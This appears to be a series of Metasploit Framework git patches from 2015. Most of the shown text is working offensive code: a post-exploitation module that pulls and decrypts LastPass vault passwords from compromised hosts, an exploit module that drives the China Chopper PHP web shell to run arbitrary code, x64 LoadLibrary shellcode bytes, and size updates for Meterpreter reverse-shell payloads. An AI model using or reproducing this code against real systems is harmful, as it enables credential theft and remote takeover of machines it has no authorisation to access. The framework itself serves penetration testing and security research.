@@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 886850 + CachedSize = 958530 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 623bc74a10..fc2bb07719 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885806 + CachedSize = 957486 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 150c8c3132..4572ac867a 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 885806 + CachedSize = 957486 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 7b7d2f6bc4..d21aaf8296 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1106482 + CachedSize = 1187890 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 2773fb3be4..006dbb841b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1107526 + CachedSize = 1188934 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 0c7bb3d407..10ebc2369f 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1107526 + CachedSize = 1188934 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 9833edb98e..524ec97eab 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1106482 + CachedSize = 1187890 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 056b3f33b3..e2b10029d8 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1106482 + CachedSize = 1187890 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 6a01efa3941b41264b64c303300d4bce47ad388b Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 30 Oct 2015 16:21:37 -0500 Subject: [PATCH 1037/2172] Deprecate psexec_psh --- modules/exploits/windows/smb/psexec_psh.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 05134ef2ef..bb61a3fe3b 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -14,6 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 1, 1), 'exploit/windows/smb/psexec') def initialize(info = {}) super(update_info(info, From f629f98fdc0f67a7fe8b9d469292b957cdf08174 Mon Sep 17 00:00:00 2001 From: void-in <waqas.bsquare@gmail.com> Date: Sat, 31 Oct 2015 18:47:22 +0500 Subject: [PATCH 1038/2172] Resolve 6174, require meterpreter_options --- lib/msf/core/payload/python/meterpreter_loader.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 3b64d384c7..6cdd35169c 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/base/sessions/meterpreter_options' require 'msf/core/payload/uuid/options' module Msf From b0f92b49a2e371ac6bf3a0c52034c85514b3b7a7 Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Sun, 1 Nov 2015 21:47:00 -0800 Subject: [PATCH 1039/2172] Print vault passwords --- modules/post/multi/gather/lastpass_creds.rb | 187 ++++++++++++++++---- 1 file changed, 148 insertions(+), 39 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 2601e09767..bcb4fa7c8b 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Post end def run - if session.platform =~ /win/ && session.type == "shell" # No Windows shell support print_error "Shell sessions on Windows are not supported" return @@ -118,7 +117,11 @@ class Metasploit3 < Msf::Post db_paths = find_db_paths(path, browser, account) if db_paths && db_paths.size > 0 account_map[account][browser]['lp_db_path'] = db_paths - account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox' + if session.type == "meterpreter" + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox' + else # session.type == "shell" + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser == 'Firefox' + end else account_map[account].delete(browser) end @@ -232,13 +235,13 @@ class Metasploit3 < Msf::Post if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line usernames = encoded_users.split("|") usernames.each do |username| - credentials << [username, "NOT_FOUND"] + credentials << [username, nil] end elsif /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line creds_per_user = encoded_creds.split("|") creds_per_user.each do |user_creds| parts = user_creds.split('=') - for creds in credentials # Check iuf we have the username already + for creds in credentials # Check if we have the username already if creds[0] == parts[0] creds[1] = parts[1] # Add the password to the existing username else @@ -297,8 +300,8 @@ class Metasploit3 < Msf::Post ffcreds = firefox_credentials(loot_path) unless ffcreds.blank? ffcreds.each do |creds| - if creds[1].blank? - creds[1] = nil # No master password found + if creds[1].blank? # No master password found + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} else sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin @@ -351,7 +354,7 @@ class Metasploit3 < Msf::Post if browser == 'Firefox' path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid" data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - data = nil if (data.blank? || data.size != 32) # Verify content + data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection loot_path = store_loot( 'firefox.preferences', 'text/binary', @@ -389,15 +392,15 @@ class Metasploit3 < Msf::Post #Print all extracted LastPass data def print_lastpass_data(account_map) lastpass_data_table = Rex::Ui::Text::Table.new( - 'Header' => "LastPass data", + 'Header' => "LastPass Accounts", 'Indent' => 1, - 'Columns' => %w(Account Browser LP_Username LP_Password LP_2FA LP_Key) + 'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key) ) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - lastpass_data_table << [account, browser, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] + lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] end end end @@ -412,6 +415,8 @@ class Metasploit3 < Msf::Post nil, "LastPass Data" ) + + print_vault_passwords(account_map) end end @@ -423,7 +428,7 @@ class Metasploit3 < Msf::Post if browser == 'Firefox' path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - iterations = "NOT FOUND" if iterations.blank? # Verify content + iterations = nil if iterations.blank? # Verify content lp_data['lp_creds'][username]['iterations'] = iterations loot_path = store_loot( "#{browser.downcase}.lastpass.iterations", @@ -435,8 +440,8 @@ class Metasploit3 < Msf::Post ) path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - vault = "NOT FOUND" if vault.blank? # Verify content - lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND" + vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection + vault = vault.sub(/iterations=.*;/, "") # Remove iterations info loot_path = store_loot( "#{browser.downcase}.lastpass.vault", 'text/plain', @@ -445,12 +450,13 @@ class Metasploit3 < Msf::Post nil, "#{account}'s #{browser} LastPass Vault" ) + lp_data['lp_creds'][username]['vault_loot'] = loot_path else # Chrome, Safari and Opera db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'" + "WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'" ) if result.size == 1 && !result[0].blank? @@ -478,8 +484,8 @@ class Metasploit3 < Msf::Post lp_data['lp_creds'][username]['vault_loot'] = loot_path end else - lp_data['lp_creds'][username]['iterations'] = "NOT_FOUND" - lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND" + lp_data['lp_creds'][username]['iterations'] = nil + lp_data['lp_creds'][username]['vault_loot'] = nil end end end @@ -491,11 +497,11 @@ class Metasploit3 < Msf::Post account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials + if !user_data['lp_password'].blank? && user_data['iterations'] != nil# Derive vault key from credentials lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key from disabled OTP - otp = extract_otp(account, browser, username, lp_data) - lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp) + otpbin = extract_otpbin(account, browser, username, lp_data) + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) end end end @@ -503,19 +509,19 @@ class Metasploit3 < Msf::Post end # Returns otp, encrypted_key - def extract_otp(account, browser, username, lp_data) + def extract_otpbin(account, browser, username, lp_data) if browser == 'Firefox' path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" - otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - otp = "NOT FOUND" if otp.blank? # Verify content - return otp + otpbin = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) + return otpbin else # Chrome, Safari and Opera db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT type, data FROM LastPassData " \ "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" ) - result[0][1] + [result[0][1]].pack "H*" end end @@ -524,22 +530,20 @@ class Metasploit3 < Msf::Post if key_iteration_count == 1 key = Digest::SHA256.hexdigest username + password else - key = pbkdf2(password, username, key_iteration_count.to_i, 32) + key = pbkdf2(password, username, key_iteration_count.to_i, 32).first end - key.first + key end - def decrypt_vault_key_with_otp username, otp - otpbin = [otp].pack "H*" + def decrypt_vault_key_with_otp username, otpbin vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" - encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp) + encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin) decrypt_data(vault_key_decryption_key, encrypted_vault_key) end - def retrieve_encrypted_vault_key_with_otp username, otp + def retrieve_encrypted_vault_key_with_otp username, otpbin # Derive login hash from otp - otpbin = [otp].pack "H*" otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash # Make request to LastPass @@ -551,10 +555,6 @@ class Metasploit3 < Msf::Post http.request(request) } - puts request.body - puts response.body - - # Parse response encrypted_vault_key = nil if response.body.match(/randkey\="(.*)"/) @@ -567,9 +567,9 @@ class Metasploit3 < Msf::Post # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) def lastpass_sha256(input) output = "" - + input = input.gsub("\r\n", "\n") - + input.each_byte do |e| if 128 > e output += e.chr @@ -587,11 +587,120 @@ class Metasploit3 < Msf::Post OpenSSL::Digest::SHA256.hexdigest(output) end - def pbkdf2(password, salt, iterations, key_length) digest = OpenSSL::Digest::SHA256.new OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' - end + end + def windows_unprotect(data) + data = Base64.decode64(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(data.length+200) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + process.memory.read(addr, len) + end + + def print_vault_passwords(account_map) + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, lp_data| + lp_data['lp_creds'].each_pair do |username, user_data| + lastpass_vault_data_table = Rex::Ui::Text::Table.new( + 'Header' => "Decrypted vault from #{username}", + 'Indent' => 1, + 'Columns' => %w(URL Username Password) + ) + if user_data['vault_loot'] == nil # Was a vault found? + print_error "No vault was found for #{username}" + next + end + encoded_vault = File.read(user_data['vault_loot']) + if encoded_vault[0] == "!" # Vault is double encrypted + encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault) + if encoded_vault.blank? + print_error "Vault from #{username} could not be decrypted" + next + else + encoded_vault = encoded_vault.sub("LPB64", "") + end + end + + # Parse vault + vault = Base64.decode64(encoded_vault) + vault.scan(/ACCT/) do |result| + chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk + chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk + account_data = parse_vault_account(chunk, user_data['vault_key']) + lastpass_vault_data_table << account_data if account_data != nil + end + + unless account_map.empty? # Loot passwords + print_good lastpass_vault_data_table.to_s + path = store_loot( + "lastpass.#{username}.passwords", + "text/csv", + session, + lastpass_vault_data_table.to_csv, + nil, + "LastPass Vault Passwords from #{username}" + ) + end + end + end + end + end + + def parse_vault_account(chunk, vaultKey) + pointer = 22 # Starting position to find data to decrypt + labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"] + vault_data = [] + for label in labels + length = chunk[pointer..pointer+3].unpack("H*").first.to_i(16) + encrypted_data = chunk[pointer+4..pointer+4+length-1] + label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*") + decrypted_data = "" if decrypted_data == nil + vault_data << decrypted_data if (label == "url" || label == "username" || label == "password") + pointer = pointer + 4 + length + end + return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes + end + + def decrypt_vault_password(key, encrypted_data) + return nil if key.blank? || encrypted_data.blank? + + if encrypted_data[0] == "!" # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.iv = encrypted_data[1, 16] # Discard ! + encrypted_data = encrypted_data[17..-1] + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + end + decipher.decrypt + decipher.key = [key].pack "H*" + + begin + return decipher.update(encrypted_data) + decipher.final + rescue + vprint_error "Vault password could not be decrypted" + return nil + end + end end From 6c16d2a1cad63cacdb43cc375a4a306545a752b1 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Mon, 2 Nov 2015 08:54:18 +0000 Subject: [PATCH 1040/2172] caidao's exploit module --- .../gather/caidao_php_backdoor_exec.rb | 85 ------------------- .../multi/http/caidao_php_backdoor_exec.rb | 75 ++++++++++++++++ 2 files changed, 75 insertions(+), 85 deletions(-) delete mode 100644 modules/auxiliary/gather/caidao_php_backdoor_exec.rb create mode 100644 modules/exploits/multi/http/caidao_php_backdoor_exec.rb diff --git a/modules/auxiliary/gather/caidao_php_backdoor_exec.rb b/modules/auxiliary/gather/caidao_php_backdoor_exec.rb deleted file mode 100644 index 4a17a6693b..0000000000 --- a/modules/auxiliary/gather/caidao_php_backdoor_exec.rb +++ /dev/null @@ -1,85 +0,0 @@ - -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit4 < Msf::Auxiliary - - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Chinese Caidao PHP Backdoor Command Execution', - 'Description' => %q{ - This module exploits chinese caidao php backdoor which allows - os command execution. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], - 'References' => - [ - ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] - ], - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Privileged' => false, - 'DisclosureDate' => 'Oct 27 2015')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']), - OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper']), - OptString.new('CMD', [true, 'The command of os', 'dir']) - ], self.class) - end - - def caidao_req(payload) - l = Rex::Text.rand_text_alpha(16) - r = Rex::Text.rand_text_alpha(16) - uri = normalize_uri(target_uri.path) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => { - "#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";" - } - }) - - if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m - $1 - end - end - - def check - flag = Rex::Text.rand_text_alpha(32) - payload = "echo \"#{flag}\"" - data = caidao_req(payload) - - if data && data == flag - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe - end - end - - def run - payload = "echo base64_encode(`#{datastore['CMD']}`)" - data = caidao_req(payload) - - if data && !data.blank? - data = Rex::Text.decode_base64(data) - print_good(data) - path = store_loot("#{datastore['CMD']}", - 'text/plain', - datastore['RHOST'], - data, - "#{datastore['CMD']}") - print_good('Save file to ' + path) - end - end -end diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb new file mode 100644 index 0000000000..79f0280d9f --- /dev/null +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -0,0 +1,75 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chinese Caidao PHP Backdoor Code Execution', + 'Description' => %q{ + This module exploits chinese caidao php backdoor. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Nixawk'], + 'References' => + [ + ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] + ], + 'Payload' => + { + 'BadChars' => '\x00', + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 27 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']), + OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper']) + ], self.class) + end + + def http_send_command(code) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'vars_post' => { + "#{datastore['PASSWORD']}" => code + } + }) + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Failed to execute the code.') + end + res + end + + def check + flag = Rex::Text.rand_text_alpha(16) + res = http_send_command("printf(\"#{flag}\");") + if res && res.body =~ /#{flag}/m + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + http_send_command(payload.raw) + end +end From a01d7c966a7125be58c10b15b1b29f261c075b6a Mon Sep 17 00:00:00 2001 From: Matthias Ganz <gaenzele@gmail.com> Date: Mon, 2 Nov 2015 12:54:44 +0100 Subject: [PATCH 1041/2172] Bugfix loading address of library path into rcx Changed the following instruction: 67 48 8D 8D 00 01 00 00 lea rcx,[ebp+100h] Into 90 nop 48 8D 8D 00 01 00 00 lea rcx,[rbp+100h] The old code breaks if the payload is executed from a memory area where the 4 most significant bytes are non-zero. The bugfix removes the Address-Size override prefix 0x67 of the lea instruction and replaces it with a nop 0x90 (to not mess up code alignment,relative addressing or jmps). --- modules/payloads/singles/windows/x64/loadlibrary.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index f8ee8f6823..a83cd29a42 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -46,7 +46,7 @@ module Metasploit3 "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x67\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" + + "\xFF\xFF\x5D\x90\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" + "\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5" + "\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13" + "\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" From 4eaf1ace814ee8a5afc3669280b89bbeb79125ed Mon Sep 17 00:00:00 2001 From: Matthias Ganz <gaenzele@gmail.com> Date: Mon, 2 Nov 2015 16:56:07 +0100 Subject: [PATCH 1042/2172] Bugfix loading address of library path into rcx The old code breaks if the payload is executed from a memory area where the 4 most significant bytes are non-zero. --- .../shellcode/windows/x64/src/single/single_loadlibrary.asm | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm b/external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm index 5ba96f0f7d..c8f9832713 100644 --- a/external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm +++ b/external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm @@ -15,7 +15,7 @@ delta: ; %include "./src/block/block_api.asm" ; start: ; pop rbp ; Pop off the address of 'api_call' for calling later. - lea rcx, [ebp+libpath-delta] + lea rcx, [rbp+libpath-delta] mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call rbp ; LoadLibraryA( &libpath ); ; Finish up with the EXITFUNK. From 6458c591e4fd84036b25631fefe53d77ca1837ae Mon Sep 17 00:00:00 2001 From: Matthias Ganz <gaenzele@gmail.com> Date: Mon, 2 Nov 2015 17:16:46 +0100 Subject: [PATCH 1043/2172] Update loadlibrary.rb --- modules/payloads/singles/windows/x64/loadlibrary.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index a83cd29a42..f8ee8f6823 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -46,7 +46,7 @@ module Metasploit3 "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x90\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" + + "\xFF\xFF\x5D\x67\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" + "\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5" + "\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13" + "\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" From 1f73bbe7ca2691a1b023af855fb80e1b7552e078 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 2 Nov 2015 10:44:47 -0600 Subject: [PATCH 1044/2172] Remove obsolete files in data/gui/ --- data/gui/lib/appframework-1.0.3.jar | Bin 264192 -> 0 bytes data/gui/lib/msgpack-0.5.1-devel.jar | Bin 127718 -> 0 bytes data/gui/lib/swing-worker-1.1.jar | Bin 11007 -> 0 bytes 3 files changed, 0 insertions(+), 0 deletions(-) delete mode 100755 data/gui/lib/appframework-1.0.3.jar delete mode 100755 data/gui/lib/msgpack-0.5.1-devel.jar delete mode 100755 data/gui/lib/swing-worker-1.1.jar diff --git a/data/gui/lib/appframework-1.0.3.jar b/data/gui/lib/appframework-1.0.3.jar deleted file mode 100755 index 9f5cdbf7b82bfe7b23f6168ab24a3d00207188de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 264192 zcmdpf31C#!+4g&8lHAE;fH16K4G<t?VG%?Ps00WKCIJb80k<I;AQCb$i-=lVm%7!p zS}kg|+E%R9st7|6cdfQ+-IrRm?%lqwU;BMszxqGVIrq-oJDC|0w0{5pqj~2p=brUF z?>Xl^&-<Pg$M|!C!ha846FEd**d!mnbv3K1E0@+UnXw`f>_G%;*wr%VRJ`WjP<ODp z>iVTiY8qBeuUk?VX=~XK?d+;t9qs6BiM3S~&ze4SK(M;a^`yEz(zGdBjAwXx2wyMi zh(@}i&6NwcG5o>PXP!K3X65>svx`d`y4#BDTADgyo!dIQqFXwPm$o%cpEe*kAn45- zvXl6igR5A_#+2MAUgKhb9pcpHXy@jxSi37|YJC)?29310x3)Azx=^?*pH0g4Sx2-p z*4@z*?aUIvw7x~q(iCfRN5gh1Yd$@`#V^9YCE22>Uf<c(5ozjL7>%@*)GS`Lq9fKG z?daOJXj7zZW3-{Wy*<{^RWfUOQ){HN^O=7=@Gv5qB_&GyrPEd`$(!HO*3xx^lJJI> zj;QxzC55L(PLIrJMNBi6uRk@~)P-=#M=QJA+9K;)qe>>TsS*w0u3dNblpN8ga2boC zWWlG4pkx-x-O=5Ka(8WN=`5M4B=_`4Yf03S97}R7$+N_=B%q|YR+n=<Y86f6sneR% zqitRDkeAv|ml;GcsdRtIu#K8ZKW$3;PbDM;GB_kb35UcdDkOdxk}riajAVFFLNX#K zgJh(V!R{uV&RSBEvnbXKHW-<S|C9`>X=`eYb+)u^tc!MSiZv?<Ep2Oyb}S-WMmrIp 